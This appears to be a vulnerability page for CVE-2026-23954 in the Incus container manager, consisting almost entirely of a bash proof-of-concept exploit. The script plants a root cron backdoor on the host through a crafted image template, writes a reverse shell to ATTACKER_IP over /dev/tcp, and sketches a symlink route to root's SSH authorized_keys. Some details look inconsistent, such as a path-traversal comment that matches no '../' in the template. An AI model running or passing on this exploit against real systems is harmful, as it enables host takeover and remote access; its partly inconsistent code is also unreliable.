CVE-2026-23954: Incus容器管理器目录遍历漏洞导致任意命令执行

#!/bin/bash # CVE-2026-23954 PoC - Incus Template Arbitrary File Write # Requirements: User must be member of 'incus' group INCUS_IMAGE="malicious-template-image" CONTAINER_NAME="poc-container" # Step 1: Create a malicious template that writes to host filesystem cat > metadata.yaml << 'EOF' architecture: "$(uname -m)" creation_date: 1706000000 properties: architecture: "amd64" os: "Ubuntu" release: "jammy" templates: /etc/cron.d/backdoor: when: - create - start template: backdoor.template EOF # Step 2: Create malicious template content cat > backdoor.template << 'EOF' * * * * * root /bin/bash /tmp/shell.sh EOF # Step 3: Create malicious shell script to be written to host cat > shell.sh << 'EOF' #!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 EOF # Step 4: Import image with malicious template incus image import metadata.yaml rootfs.squashfs --alias $INCUS_IMAGE # Step 5: Launch container - template will write to host via path traversal # The template path /etc/cron.d/backdoor with path traversal ../ becomes /cron.d/backdoor on host incus launch $INCUS_IMAGE $CONTAINER_NAME # Alternative exploitation using symbolic links: # Create a symlink in the template that points outside container # ln -s /root/.ssh/authorized_keys /var/lib/incus/storage-pools/default/images/timestamp/rootfs/etc/cron.d/malicious # Cleanup incus delete $CONTAINER_NAME --force incus image delete $INCUS_IMAGE